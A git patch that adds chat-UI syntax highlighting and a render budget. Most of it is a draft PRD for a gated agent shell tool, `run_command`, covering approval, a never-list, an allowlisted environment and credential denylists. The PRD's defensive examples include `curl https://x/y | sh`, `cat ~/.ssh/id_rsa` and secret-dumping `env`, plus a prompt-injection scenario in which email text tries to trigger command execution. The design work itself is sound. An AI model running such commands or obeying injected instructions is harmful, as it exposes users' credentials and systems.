From 148384a312eda3c67d61aa09148759e29fd428c9 Mon Sep 17 00:00:00 2001 From: 0x-copilot-dev <0x-copilot-dev@users.noreply.github.com> Date: Wed, 26 Aug 2026 22:21:58 +0530 Subject: [PATCH] feat(chat-surface): syntax highlighting, a transcript render budget, and a gated call that says so MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three tracks, plus four fixes an adversarial review returned before any of it could merge. SYNTAX HIGHLIGHTING. Code blocks and diff rows had no colour anywhere — streamdown 2.5.0 carries no highlighter. Adds shiki behind a small seam, with an enumerated grammar list rather than the full bundle: the desktop renderer is one esbuild `outfile:` with no splitting, so a dynamic import() is INLINED, and the list is sized for that cost (~623 KB, measured). Deliberate, documented at syntaxTokens.ts:60-66, and the web host still splits per grammar. The lockfile stayed SURGICAL — two lines, no regeneration — because shiki@4.4.2 was already hoisted at the root as a transitive dep of astro at exactly the pinned version. `npm ci --dry-run` exits 0. That mattered: a regenerated lock reds the SBOM gate and blocks every PR in the repo. Token colour rides ON TOP of the diff: only `color` is set per span, so add and remove backgrounds survive, and a refused edit gets no tokens at all — colour is this card's "this happened" signal and an unapplied diff has not earned it. A RENDER BUDGET, not a virtualizer. Rows here are variable-height, interactive and hold state, and an approval card unmounted from under someone would break the one reachable exit from a parked run. So the newest N turns render fully and older tool/fleet/reasoning items fold behind an expandable summary. Approvals and the composer are never elidable. A GATED CALL NOW SAYS SO. A refused write and a write parked on an approval rendered identically, and their remedies are opposite — attach a folder vs approve. The card now reads "Needs you" for the call the decision is about, carries the server's own question, and stamps `data-tool-blocked` so a journey need not read copy. No second approve control: the ask card remains the only place a decision is taken. FIXES FROM REVIEW: 1. ci-gates was RED — three dark-wiring symbols (`_Fields.batch_id` ×2, `batch_index`). No Python changed; a new test fixture NAMED keys that were previously invisible to the scan (api-types is excluded from it), turning "unmentioned" into "mentioned but never read". The fixture is right to include them — a fixture richer than the wire is how a green suite ships over a field the client never receives — so the keys are baselined with the same reason text their siblings already carry. 2. `workspace_consent.py` asserted `"Waiting" in card["text"]` over every parked card, and the new copy renames exactly that one to "Needs you". The copy is better, so the assertion moved, not the product. 3. `MAX_HIGHLIGHTED_CHARS` 40_000 → 8_000. streamdown re-tokenizes the whole block per model delta on the main thread, so that bound is a FRAME budget, not the readability budget its comment claimed: 49ms at 40k on tsx (87ms on dense TS) is ~11fps while tokens arrive. 8k is ~10ms and still ~135 lines. 4. The budget elided the gated card — in precisely the long runs track (c) was written for. A call parked on a live decision is no longer elidable; a DENIED call still is, because that one is history. Pinned by a test verified to fail without the fix. Also corrected: both verifiers reported the desktop bundle growth as an unintended regression. It is not — syntaxTokens.ts:60-66 states the trade in advance and the grammar list was sized for it. The review caught that; splitting the desktop renderer remains available as its own change. typecheck ×4 green · desktop builds · dark-wiring 0 new · lockfile 2 lines chat-surface 4162 passed, with the same 2 pre-existing failures as a clean tree. Co-Authored-By: Claude Opus 5 --- .../agent-execution/PRD-shell-execution.md | 1705 +++++++++++++++++ .../agent-execution/PRD-subagent-control.md | 1601 ++++++++++++++++ .../agent-execution/TYPOGRAPHY-PROPOSAL.md | 673 +++++++ package-lock.json | 2 + packages/chat-surface/package.json | 2 + .../src/messages/MarkdownText.tsx | 6 + .../chat-surface/src/messages/Reasoning.tsx | 2 + .../highlight/codeHighlighterPlugin.ts | 117 ++ .../highlight/shikiHighlighter.test.ts | 85 + .../messages/highlight/shikiHighlighter.ts | 189 ++ .../messages/highlight/syntaxHighlighting.ts | 40 + .../messages/highlight/syntaxTokens.test.ts | 60 + .../src/messages/highlight/syntaxTokens.ts | 183 ++ .../src/messages/highlight/useSyntaxLines.ts | 51 + .../chat-surface/src/messages/markdown.css | 73 + .../src/thread-canvas/TcChat.test.tsx | 484 +++++ .../chat-surface/src/thread-canvas/TcChat.tsx | 235 ++- .../src/thread-canvas/TcFileDiff.tsx | 96 +- .../src/thread-canvas/ToolCallCard.test.tsx | 222 +++ .../src/thread-canvas/ToolCallCard.tsx | 159 +- .../src/thread-canvas/eventProjector.ts | 274 +++ .../src/thread-canvas/renderBudget.test.ts | 199 ++ .../src/thread-canvas/renderBudget.ts | 212 ++ .../src/thread-canvas/toolCallBlock.test.ts | 384 ++++ tools/dark_wiring_baseline.txt | 3 + tools/desktop-journeys/workspace_consent.py | 5 +- 26 files changed, 7030 insertions(+), 32 deletions(-) create mode 100644 docs/plan/agent-execution/PRD-shell-execution.md create mode 100644 docs/plan/agent-execution/PRD-subagent-control.md create mode 100644 docs/plan/agent-execution/TYPOGRAPHY-PROPOSAL.md create mode 100644 packages/chat-surface/src/messages/highlight/codeHighlighterPlugin.ts create mode 100644 packages/chat-surface/src/messages/highlight/shikiHighlighter.test.ts create mode 100644 packages/chat-surface/src/messages/highlight/shikiHighlighter.ts create mode 100644 packages/chat-surface/src/messages/highlight/syntaxHighlighting.ts create mode 100644 packages/chat-surface/src/messages/highlight/syntaxTokens.test.ts create mode 100644 packages/chat-surface/src/messages/highlight/syntaxTokens.ts create mode 100644 packages/chat-surface/src/messages/highlight/useSyntaxLines.ts create mode 100644 packages/chat-surface/src/thread-canvas/renderBudget.test.ts create mode 100644 packages/chat-surface/src/thread-canvas/renderBudget.ts create mode 100644 packages/chat-surface/src/thread-canvas/toolCallBlock.test.ts diff --git a/docs/plan/agent-execution/PRD-shell-execution.md b/docs/plan/agent-execution/PRD-shell-execution.md new file mode 100644 index 000000000..b86d4bde1 --- /dev/null +++ b/docs/plan/agent-execution/PRD-shell-execution.md @@ -0,0 +1,1705 @@ +# PRD — Shell execution (`run_command`) + +**Status:** draft for review. Nothing here is built. +**Owner:** unassigned. +**Scope:** the desktop app (`single_user_desktop`). Web is deprecated and out of scope. +**Written against:** worktree `claude/desktop-app-ui-ux-9af65c`, `deepagents==0.7.4` +(`services/ai-backend/requirements.in:35`). + +--- + +## 0. The gap, in one paragraph + +The agent can write a file and cannot run it. It cannot execute the test suite it +just extended, cannot type-check the module it just refactored, cannot lint, cannot +build, and — the sharpest version — **cannot read back its own failure**. Every +other capability in this product is downstream of that: an agent that writes +without running is an agent whose output nobody can trust without a human doing +the verification step by hand. The prompt block that ships today says so out loud: +`NO_SHELL_EXECUTE_GUIDANCE` — _"This run has no shell/terminal command tool. If +asked, say that directly"_ (`services/ai-backend/src/agent_runtime/execution/deep_agent_builder.py:219-224`). + +It is also the most dangerous tool anyone could add to this codebase, for a reason +that is mechanical rather than rhetorical: **every control this runtime owns over +the user's disk is keyed on a path, and a command is the one call shape that has +no path.** §2 proves that from source. The whole design below is an answer to that +one sentence. + +--- + +## 1. User stories + +Written first, deliberately. Each is a person and an outcome, with acceptance +criteria a test could assert. The AC ids are referenced by §16 (Tests). + +### S1 — Verify what was just written + +> As someone whose agent just wrote three files, I want it to run the test suite +> and see it fail, so I know before I trust it. + +**AC1.1** After the agent writes a file inside a writable granted root, a +`run_command` tool call with `command="pytest -q"` reaches a decision point rather +than being silently absent from the toolset. +**AC1.2** On approval, the command runs with its working directory set to that +granted root, and the tool result carries `exit_code` as an integer. +**AC1.3** A failing suite returns `exit_code != 0` **and** the failure text, and +both reach the model in the same result string — the model must not have to infer +failure from prose (this is the defect in OpenCode: `metadata.exit` is captured at +`packages/opencode/src/tool/shell.ts:589` and never reaches the model, because +`MessageV2.toModelMessagesEffect` rebuilds requests from `part.state.output` only, +`packages/opencode/src/session/message-v2.ts:290-295`). +**AC1.4** A run in which a command failed does not report success in its final +response. Assert on the run's `final_response` given a seeded non-zero exit. + +### S2 — See exactly what is about to run, before it runs + +> As someone who has been burned by an agent doing something clever, I want to read +> the literal command before it executes, not a paraphrase of it. + +**AC2.1** The approval card renders `command` **verbatim**, as a text node, in a +monospace block — never a summary, never a truncation of the middle, never +`display_title` prose. +**AC2.2** A command containing markdown, ANSI escapes, newlines, or a URL renders +as inert text; no link is created and no escape sequence is interpreted. +**AC2.3** The card names the directory the command will run in, by its **grant +label**, and the host-absolute path is not rendered in the chat column. +**AC2.4** Declining leaves the run alive and nothing executes: assert no process +was spawned and the run reaches a terminal state without a `command_started` event. + +### S3 — Not be asked forty times about the same command + +> As someone iterating on a test file, I want to approve `pytest` once for this run +> and not be re-asked for every variation of the invocation. + +**AC3.1** The card offers "Allow for this run" **only** when the command is a +single simple command with no shell metacharacters (§8.3). For anything compound, +that control is not drawn. +**AC3.2** Approving "for this run" causes a later `run_command` with the same +`argv[0]` **in the same bound root, in the same run** to dispatch without a second +interrupt. +**AC3.3** The same `argv[0]` in a _different_ run asks again. The grant does not +outlive the run and is not written to disk. +**AC3.4** `pytest && curl https://x/y | sh` never earns an always-grant, and is not +covered by an existing `pytest` always-grant. + +### S4 — Know what changed, and be told honestly when we cannot say + +> As someone who ran a build, I want the Changes tab to be truthful — either it +> lists what the command touched, or it says plainly that it cannot. + +**AC4.1** In v1, a run containing at least one executed command renders a +persistent notice in the Changes tab stating that command-made changes are not +tracked and cannot be undone from the app. +**AC4.2** That notice is present even when the journal has zero rows, and it names +the count of commands that ran. +**AC4.3** The notice is not dismissible and does not scroll out of the tab header. +**AC4.4** No `HostWriteRecord` is ever synthesised for a command. Assert the +journal store receives zero appends across a run whose only mutation was a +command. + +### S5 — Stop a command that is not coming back + +> As someone watching a command hang, I want to stop it without killing the run, +> and I want to know it actually died. + +**AC5.1** Pressing Stop on a run with a live command terminates the **process +group**, not just the direct child, escalating SIGTERM → SIGKILL. +**AC5.2** The tool result records `status: "cancelled"` with the partial output +captured up to the cancellation, not an empty string. +**AC5.3** A command that ignores SIGTERM is gone within the escalation window; +assert no orphan process remains with the run's process-group id. +**AC5.4** A command exceeding its timeout produces `exit_code: null`, +`status: "timeout"`, the partial output, and a model-facing hint naming the +timeout value. + +### S6 — Not have my credentials read by a command + +> As someone whose machine holds an SSH key, an AWS profile and four provider API +> keys, I want a command the agent runs to be unable to see any of them. + +**AC6.1** `env` run through the tool prints no variable whose name matches the +runtime's provider-key set, `COPILOT_BROKER_TOKEN`, `ENTERPRISE_SERVICE_TOKEN`, or +`ENTERPRISE_AUTH_SECRET`. Assert on the actual captured stdout, not on the +constructed dict. +**AC6.2** The environment is built by **allowlist**. A test that adds a novel +secret-looking variable to the worker's own environment asserts it is absent from +the child's — i.e. the test must fail if anyone converts the allowlist to a +denylist. +**AC6.3** `cat ~/.ssh/id_rsa` is refused before any process is spawned, at a point +above every approval control (§9). +**AC6.4** With the Phase-2 scratch `HOME` in force, `echo $HOME` does not print the +user's real home directory. + +### S7 — Never be one click away from something catastrophic + +> As someone who clicks Approve quickly, I want there to be commands that no click +> of mine can authorise. + +**AC7.1** A never-listed command returns a typed refusal and **never renders an +approval card**. There must be no UI path to approving it. +**AC7.2** The refusal survives `Posture.BYPASS`. Assert both postures. +**AC7.3** The refusal survives an active always-grant for the same `argv[0]`. +**AC7.4** The never-list is expressed as data with a golden corpus, and the corpus +includes the obfuscations the list does _not_ catch, marked as known-miss (§9.4) — +so nobody reads a green suite as "the never-list is a boundary." + +### S8 — Read a wall of output without losing the thread + +> As someone whose build prints 40,000 lines, I want the useful end of it, not a +> transcript I have to scroll past for a minute. + +**AC8.1** Output over the cap keeps the **tail**, and the truncation notice says so. +**AC8.2** The full output is written to the agent's own scratch and the model is +handed a path it can `read_file` — which routes back through the ordinary +path-keyed lane, journal and all. +**AC8.3** A single UTF-8 codepoint is never split by the byte cap. +**AC8.4** The transcript card is height-bounded and the page body does not scroll +horizontally at any output width. + +### S9 — Not have "summarise this email" become code execution + +> As someone whose agent reads my inbox, I want text that arrived from outside to be +> unable to cause a command to run. + +**AC9.1** A connector result containing `` and an +instruction-shaped sentence produces, at most, a `run_command` call that is +**shown to the user for approval** — never a dispatch. +**AC9.2** The approval card for a command whose text derives from ingested content +carries no special trust affordance; there is no "the agent says this is safe" +path. +**AC9.3** `curl | sh` is never-listed, in every argument position (§9.2). + +### S10 — Not discover the feature by having it happen + +> As someone who installed this app to draft documents, I want command execution to +> be off until I turn it on, per workspace. + +**AC10.1** With no explicit enablement, `run_command` is **absent from the model's +tool list** and `NO_SHELL_EXECUTE_GUIDANCE` ships in the prompt. +**AC10.2** Enablement is per **workspace grant**, not global: a second attached +folder does not inherit the first's enablement. +**AC10.3** Turning it on mid-run does not affect the in-flight run (§7.4, the +seal-at-run-start rule). + +--- + +## 2. The two findings that constrain everything else + +Both verified from source in this worktree. + +### 2.1 We cannot derive this from deepagents' `execute`. The harness refuses to construct. + +`FilesystemMiddleware.__init__` raises before any tool is built: + +```python +# .venv/.../deepagents/middleware/filesystem.py:1436-1443 +if _permissions and supports_execution(self.backend) and not _all_paths_scoped_to_routes(_permissions, self.backend): + msg = ("FilesystemMiddleware does not yet support permissions with backends that " + "provide command execution (SandboxBackendProtocol). Tool-level permissions " + "for the execute tool are not implemented. ...") + raise NotImplementedError(msg) +``` + +`_all_paths_scoped_to_routes` requires **every** rule path to start with a +`CompositeBackend` route prefix (`filesystem.py:409-424`). Our desktop rule set +ends with two `/**` anchors (`capabilities/desktop/host_filesystem.py:329-372`) and +carries host-absolute grant roots, so it returns `False`. Making the desktop +default backend execution-capable therefore **kills every desktop run at +graph-build time**, not at tool time — the failure class already documented at +`capabilities/desktop/host_tool_paths.py:139-145`. + +`supports_execution` is `isinstance(composite.default, SandboxBackendProtocol)` +(`filesystem.py:1192-1211`). Our desktop default is +`HostFilesystemFloor(NativeHostPathBackend(FilesystemBackend(virtual_mode=False)))` +(`execution/factory.py:2685-2700`), none of which defines `execute`/`aexecute` +today. **But** `HostFilesystemFloor.__getattr__` (`capabilities/desktop/host_floor.py:182-184`) +and `NativeHostPathBackend.__getattr__` (`host_tool_paths.py:396-399`) delegate +anything they do not name — so the day anyone adds `execute` to an inner backend, +it arrives **unguarded**. That is the `delete` trap, twice paid for already. + +**⇒ D1.** `run_command` is a **separate `StructuredTool`**, in its own capability +package, following the `run_in_sandbox` shape (`capabilities/sandbox/execute_tool.py:1-8`: +"deliberately only a LangChain boundary"). Nothing in this PRD adds a method to +any object on the host backend chain. A guardrail test asserts that (§16.6). + +### 2.2 A command is invisible to every filesystem control we own + +`_check_fs_permission(rules, operation, path)` needs an `operation ∈ {read, write}` +and a `path` (`filesystem.py:283-293`). The tool→operation map has no `execute` +row: + +```python +# filesystem.py:98-106 +_DEFAULT_FS_TOOL_OPS: dict[str, FilesystemOperation] = { + "ls": "read", "read_file": "read", "glob": "read", "grep": "read", + "write_file": "write", "edit_file": "write", "delete": "write", +} +``` + +Consequences, each verified: + +| Control | Why a command misses it | +| ---------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | +| The 5-rule desktop rule set (`host_filesystem.py:29-40`) | Every rule is `(operations, paths)`. No path ⇒ no rule matches ⇒ deepagents' unmatched-means-`allow` (`filesystem.py:293`). | +| `HostFilesystemFloor.permits_write` (`host_floor.py:232-255`) | Called only from `write`/`awrite`/`edit`/`aedit`/`delete`/`adelete` (`host_floor.py:378-453`). A child process calls `open(2)` directly. | +| `HostPathToolMiddleware` (`host_tool_paths.py:132-146`) | Keyed on tool name; does not recognise a command tool, so it neither screens nor canonicalises. | +| The host-write journal (`capabilities/desktop/write_journal.py`) | Capture runs at exactly those six floor methods (`write_journal.py:31-37`). Zero rows. | +| The staged C3→A4→C2 lane | Reached only via `WorkspaceOperationPort → OperationGateway`. A `write(2)` enters neither. | +| The desktop credential denylists (`apps/desktop/main/capabilities/path-validation.ts:313-323`, `:854-871`) | Enforced in the broker, on broker calls. A child process does not make broker calls. | + +`CompositeBackend.execute` is explicit that this is not routable: +_"execution is not path-routable — it always delegates to the default backend"_ +(`.venv/.../deepagents/backends/composite.py:757-758`). + +**⇒ This is the mechanical form of the locked decision at +`docs/plan/filesystem-capability/README.md:59-63`.** That decision said no shell. +This PRD proposes overturning it, and therefore owes an explicit answer for each +row above. §5–§10 are that answer; §10 is the row we cannot fully answer and say so. + +### 2.3 The sandbox lane exists and does **not** close this gap + +`run_in_sandbox` is designed, largely built, and dark. Its model-facing schema is +already one string (`capabilities/sandbox/execute_tool.py:53-59`). But its own +description states the disqualifier: + +> "The sandbox has no local workspace mount, no user credentials, and deny-all +> network egress. … local files are unchanged" — `execute_tool.py:32-38` + +It runs against a trusted immutable snapshot. It **cannot run the user's tests on +the user's files**, which is S1. It is also gated behind an unconditional +`return None` (`runtime_worker/sandbox_composition.py:134-135`). + +**⇒ These are two different products and both should exist.** `run_in_sandbox` is +for _untrusted code the agent wrote from scratch_. `run_command` is for +_the user's project, in the user's directory, with the user's toolchain_. This PRD +does not propose changing, un-darkening, or absorbing the sandbox lane. §17 lists +the one prompt-level interaction they have. + +--- + +## 3. Decision record + +Each decision is argued where it is specified. This table is the index. + +| # | Decision | Section | +| ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | +| **D1** | A standalone `StructuredTool`, never deepagents' `execute`. Nothing gains an `execute` method on the host backend chain. | §2.1, §4 | +| **D2** | The working directory is **bound by the runtime** to a writable granted root. The model never supplies a path — only, when >1 root exists, an opaque grant **label** from a closed set. | §4.2 | +| **D3** | The gate is the existing **PDP** (`capabilities/policy/service.py`), the PEP is a `PolicyToolMiddleware`-shaped wrapper, and the park is `ToolAccessGate.park_for_approval`. We reuse three existing mechanisms and invent zero. | §5 | +| **D4** | A **fourth policy axis, `EXECUTE`**, is added to `services/backend`'s tool-use policy. It is not folded into `DESTRUCTIVE`. | §6 | +| **D5** | Default posture is **ask every time**, with a run-scoped, `argv[0]`-keyed always-grant offered only for simple commands. `BYPASS` does not auto-run commands. | §8 | +| **D6** | The never-list **populates the PDP's existing `_never` ruleset** (`service.py:200, 328-333`) plus a pre-PDP lexical screen for what that ruleset structurally cannot see. | §9 | +| **D7** | **v1: commands are outside undo, stated in three places.** Phase 3 adds bounded root-manifest capture. No fabricated `HostWriteRecord`, ever. | §10 | +| **D8** | The environment is **constructed from an allowlist**, never inherited. Phase 2 moves `HOME` to a per-run scratch. | §11 | +| **D9** | **Subagents do not get the tool** in v1. | §12.3 | +| **D10** | **No background mode, no persistent shell.** One command, one process, one result. | §12.4 | +| **D11** | Output cap is **64 KiB combined, tail-kept**; overflow spills into the agent scratch as a real file the agent reads back through the ordinary journaled path lane. | §13 | +| **D12** | Per-workspace enablement, resolved from process env + grant record, **sealed at run start**. | §7.4 | + +--- + +## 4. The tool contract + +### 4.1 Identity and placement + +| Thing | Value | +| -------------- | ------------------------------------------------------------------------------------------------------------------------------ | +| Tool name | `run_command` | +| Operation | `capability: "builtin"`, `op: "run_command"` | +| Capability URN | `CapabilityUrn.for_builtin("shell", "run_command")` → `builtin:shell:run_command` (`capabilities/policy/contracts.py:274-280`) | +| Module | `services/ai-backend/src/agent_runtime/capabilities/shell/` (new package) | + +Do **not** name it `execute`. That name is already taken in all three occupancy +declarations by deepagents' placeholder — `conformance.py:197` +(`("builtin", "execute", "deepagents.middleware.filesystem.FilesystemMiddleware")`), +`builtin_operation_catalog.json:137-144`, and an `op: "execute"` row in +`operation_descriptors.json`. A collision there is a silent identity merge in the +policy layer. + +⚠️ **`CapabilityUrn.for_builtin` has zero production callers today** — every URN +built in `src/` is `for_mcp` (verified: `grep -rn "CapabilityUrn\." services/ai-backend/src/` +returns only `parse` calls and one `for_mcp` at `capabilities/mcp/descriptor_source.py:121`). +`run_command` would be the first builtin URN. Budget for it being new ground, not a +paved path. + +New package layout: + +``` +capabilities/shell/ +├── __init__.py +├── contracts.py # RunCommandInput / RunCommandResult / ShellRefusal +├── config.py # ShellExecutionConfig.from_env() — model never reaches it +├── never_list.py # the data + the pre-PDP lexical screen +├── environment.py # the allowlist env builder +├── binding.py # grant label -> bound root, resolved once per run +├── executor.py # the ONE subprocess call site in the repo +├── descriptor.py # CapabilityDescriptor for the PDP +└── run_command_tool.py # the StructuredTool boundary (the run_in_sandbox shape) +``` + +`runtime_worker/shell_composition.py` mirrors `sandbox_composition.py`: it resolves +prerequisites and returns `None` when any is missing. + +### 4.2 Model-facing input + +```python +# capabilities/shell/contracts.py + +class RunCommandInput(BaseModel): + """Model-facing schema. Command text and an opaque workspace label — never a + path, never an environment variable, never a timeout above the config cap. + + `model_config = ConfigDict(extra="forbid")`: a model that invents `env=` or + `cwd=` must fail loudly at the boundary, not have it silently dropped. + """ + + model_config = ConfigDict(extra="forbid", frozen=True) + + command: str = Field( + min_length=1, + max_length=8192, + description=( + "One shell command to run in the workspace. Runs with a non-login, " + "non-interactive shell; stdin is closed. State is NOT preserved " + "between calls — use one command, not `cd X && ...`." + ), + ) + + workspace: str | None = Field( + default=None, + max_length=128, + description=( + "Which attached folder to run in, by its label. Omit when only one " + "is attached. Not a path." + ), + ) + + timeout_s: int | None = Field( + default=None, + ge=1, + description=( + "Seconds to wait. Defaults to 120. Values above the configured " + "maximum are refused, not clamped." + ), + ) + + @field_validator("command") + @classmethod + def _reject_control_characters(cls, value: str) -> str: + """NUL and the C0 range other than \\t / \\n / \\r are refused. + + A NUL truncates the string at the exec boundary while the approval card + renders the whole thing: the human would approve one command and a + different one would run. That is the entire class of "the card and the + process disagree" bug, and it is closed here rather than in the UI. + """ + ... +``` + +**Why `timeout_s` is refused rather than clamped.** OpenCode clamps silently +(`shell.ts:347`); Hermes refuses with a nudge (`terminal_tool.py:2357-2363`). +Refusal is correct here: a model that asked for 30 minutes and got 2 will conclude +from the timeout that the command is broken, and retry it. A refusal tells it the +real constraint in one turn. + +**Why no `cwd`.** A model-supplied path is a model-supplied authority claim, and +the runtime already knows which roots are writable +(`runtime_worker/workspace_backend_wiring.py:165-219` → +`WorkspaceMountTable.granted_roots` → `GrantedRoot(path, writable)`, +`capabilities/desktop/workspace_backend.py:378-420`). `workspace` names a **label** +from a set fixed at tool-build time; an unrecognised label is a typed refusal, never +a fall-back to a default root. This is `PolicyToolMiddleware`'s first property +adapted: _"the binding is the tool, not the payload"_ +(`capabilities/mcp/middleware/policy_tool.py:32-38`). + +**Why `extra="forbid"` matters more than usual.** With `extra="ignore"`, a model +that emits `{"command": "...", "env": {"AWS_PROFILE": "prod"}}` gets its command +run and its `env` dropped — and the approval card, built from validated args, never +shows the field. The human approves a command whose arguments they were not shown. + +### 4.3 Model-facing result + +Returned as a JSON string (Hermes' choice, `terminal_tool.py:3071-3120`), not +prose. Prose forces the model to parse English to learn whether something failed. + +```python +class RunCommandResult(BaseModel): + """What the model is told. Every field is either a runtime fact or absent.""" + + model_config = ConfigDict(extra="forbid", frozen=True) + + status: Literal["completed", "timeout", "cancelled", "refused", "unavailable"] + exit_code: int | None = None # None for every non-`completed` status + output: str # combined stdout+stderr, tail-kept, ≤ cap + truncated: bool = False + output_ref: str | None = None # agent-scratch VIRTUAL path when truncated + output_total_bytes: int | None = None # only when truncated + duration_ms: int + workspace: str # the LABEL. Never the host path. + exit_note: str | None = None # "grep exit 1 means no matches" + reason: str | None = None # closed code for refused/unavailable +``` + +Notes that are load-bearing: + +- **`exit_code` is a field, not a line of text.** OpenCode's model never learns it + (§AC1.3). Ours does. +- **`output_ref` is a _virtual_ agent-scratch path**, never a host-absolute one. + Same rule the sandbox lane holds itself to: an event/result "must never receive + … absolute host paths" (`capabilities/sandbox/ports.py:193-217`). +- **`workspace` is the label.** The host path is not in the result, is not in the + event payload, and is not in the transcript. +- **stdout and stderr are combined**, matching `ExecuteResponse.output` + (`.venv/.../deepagents/backends/protocol.py:760-761`) and both prior arts' + execution layer. Splitting them is a §14 Phase-3 item with its own cost. +- **`reason` is a closed set**, never a free-form message, so a refusal cannot leak + config. Same discipline as the PDP's `_Reason` (`policy/service.py:126-142`). + +### 4.4 Configuration — resolved once from env, never from a request + +```python +# capabilities/shell/config.py +# +# Everything the model is forbidden to influence is resolved here, once, from the +# process environment. The model never reaches this module. +# (The docstring rule is copied deliberately from capabilities/sandbox/config.py:1-11.) + +class ShellExecutionConfig(BaseModel): + model_config = ConfigDict(extra="forbid", frozen=True) + + enabled: bool = False + default_timeout_s: int = Field(default=120, ge=1, le=15 * 60) + max_timeout_s: int = Field(default=600, ge=1, le=15 * 60) + combined_output_preview_bytes: int = Field(default=64 * 1024, ge=1, le=256 * 1024) + max_commands_per_run: int = Field(default=64, ge=1, le=512) + shell_path: str = "/bin/sh" # NOT the user's $SHELL. See §11.4. + + @classmethod + def from_env(cls, environ: Mapping[str, str]) -> "ShellExecutionConfig": ... +``` + +The three numbers are deliberately **the ones this repo already uses**, so there is +one house answer rather than two: + +| Constant | Value | Existing precedent | +| ---------------- | ------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| default timeout | 120 s | `RemoteSandboxConfig.command_timeout_s` default 120 (`capabilities/sandbox/config.py:56`) | +| output cap | 64 KiB | `combined_command_preview_bytes` default `64 * 1024` (`sandbox/config.py:60`) and `max_inline_result_bytes: 65536` on the `execute` descriptor (`capabilities/operations/operation_descriptors.json`) | +| commands per run | 64 | `PRD-FS-08` D18's per-session budget | + +Env var: `RUNTIME_ENABLE_SHELL_EXECUTION`. Fail-closed parse, mirroring +`RemoteSandboxConfig.from_env` (`sandbox/config.py:172-203`): anything that is not +exactly the enabling token leaves `enabled=False`. + +--- + +## 5. Where it lives — and where its **policy** lives + +The PDP/PEP rule from the root `CLAUDE.md` is the one that is easy to get wrong: +_"Policy data belongs to `backend`; policy **enforcement** stays in the runtime … +snapshot the policy once at run start, enforce in-process, POST the facts +afterwards. Never put a per-call HTTP hop on the tool path."_ + +| Concern | Home | Precedent | +| ----------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------- | +| The tool + its schema | `agent_runtime/capabilities/shell/run_command_tool.py` | `capabilities/sandbox/execute_tool.py:1-8` | +| **Enforcement (PEP)** | in-process, `MIDDLEWARE_ORDER[0]`, one wrapper bound to the tool at registration | `capabilities/mcp/middleware/policy_tool.py:1-30` | +| **Decision (PDP)** | `PdpPolicyService.decide` — pure, total, never raises | `capabilities/policy/service.py:94-200` | +| Park / resume | `surfaces_v2/gate.py: park_for_approval` → `langgraph_interrupt` → approval row → `RuntimeApprovalHandler` | `docs/features/approvals.md:15-31` | +| Deployment config | `capabilities/shell/config.py`, from process env at start | `capabilities/sandbox/config.py:1-11` | +| Run-scoped composition | `runtime_worker/shell_composition.py` | `runtime_worker/sandbox_composition.py:90, 116-135` | +| **Policy data** — who may run commands, in which mode | **`services/backend`** — `backend_app/policies/store.py` + `routes/tool_use_policies.py` | `backend_app/routes/tool_use_policies.py:1-19` | +| Delivery to the runtime | one snapshot at run-create over `GET /internal/v1/policies/runtime`, folded by `ToolUsePolicySnapshot.from_response`, sealed onto `AgentRuntimeContext.user_policies_json` | `capabilities/tools/permissions.py:53-78` | +| Grant authority (which folders, which are writable) | Electron main, encrypted, outside the agent-data tree | `apps/desktop/main/capabilities/grant-store.ts:22-31` | +| App-facing policy read/write | `backend-facade` only | `backend_facade/me_routes.py:243-247, 299-305` | +| Consent surfaces | `packages/chat-surface` | §14 | + +**Zero HTTP hops are added to the tool path.** The `execute` mode arrives in the +same snapshot the write/read/destructive modes already ride. + +**One boundary problem this creates, flagged rather than hand-waved.** The +credential-path half of the never-list (§9.2) already exists, in TypeScript, in +`apps/desktop/main/capabilities/path-validation.ts` (`SENSITIVE_ROOT_SEGMENTS:313-323`, +`SENSITIVE_FILE_RULES:854-871`). Python cannot import it. `packages/service-contracts` +is Python-only — it has a `pyproject.toml` and no `package.json` (verified). Options: + +1. Duplicate byte-identically with a "change both together" comment — the SIWE + precedent (root `CLAUDE.md`). Cheap, and this repo has already accepted that + pattern once. +2. Put the list in `packages/service-contracts/src/copilot_service_contracts/sensitive_paths.json` + (there is precedent for shipping JSON there — `adapter_allowlist.json`, + `work_ledger.json`), have Python load it, and add a **test in `apps/desktop` + that reads that JSON by relative path** and asserts `SENSITIVE_ROOT_SEGMENTS` + equals it. A test reading a file is not an import-boundary violation. + +**Recommendation: option 2**, because option 1's failure mode is silent +divergence in a security list. It needs sign-off, because it is a new +cross-language sharing pattern. → **OQ-3**. + +--- + +## 6. The policy axis — why `EXECUTE` rather than `DESTRUCTIVE` + +Today there are exactly three axes on both sides of the boundary: + +```python +# capabilities/tools/permissions.py:17-31 (mirrors backend) +class ToolUsePolicyKind(StrEnum): READ = "read"; WRITE = "write"; DESTRUCTIVE = "destructive" +class ToolUsePolicyMode(StrEnum): AUTO = "auto"; ASK = "ask"; REQUIRE = "require"; BLOCK = "block" +``` + +and `Action = READ | WRITE | DESTRUCTIVE` on the descriptor side +(`capabilities/policy/contracts.py:49-64`), mapped explicitly at +`policy/service.py:_AXIS_BY_ACTION`. + +A command is none of the three. Two options: + +**(a) Reuse `DESTRUCTIVE`.** No backend schema change. `DESTRUCTIVE` is the only +rung that survives `BYPASS` (`policy/service.py:111-113`, `_posture_decision`), so +the safety property holds. **But one knob then answers two questions.** A user who +sets `destructive: block` to stop connector deletions loses `npm test`. A user who +sets `destructive: require` to permit reviewed deletions has, without being told, +also permitted commands. That is the "one field answering two questions" smell this +codebase has been bitten by before. + +Note also that `WRITE` is _not_ a survivable reuse: under `BYPASS`, `WRITE` auto-runs. +Classing a command as `WRITE` would mean flipping the composer bypass pill silently +turns on unattended shell execution. That option is disqualified outright. + +**(b) Add `EXECUTE`.** Cost, fully enumerated: + +- `services/backend/src/backend_app/policies/store.py` — a fourth axis + its + deployment default. +- `backend_app/routes/tool_use_policies.py` — the request/response models and the + hydration that "materialise[s] the deployment default so the FE always sees a + complete shape" (`:1-19`). +- `agent_runtime/capabilities/tools/permissions.py:17-22` — the mirror, plus + `_DEFAULT_MODES`. +- `capabilities/policy/contracts.py` — `Action.EXECUTE`, and a row in + `_AXIS_BY_ACTION` (`policy/service.py:~150`), which the code comment says must be + _"mapped explicitly rather than coerced by value so a future 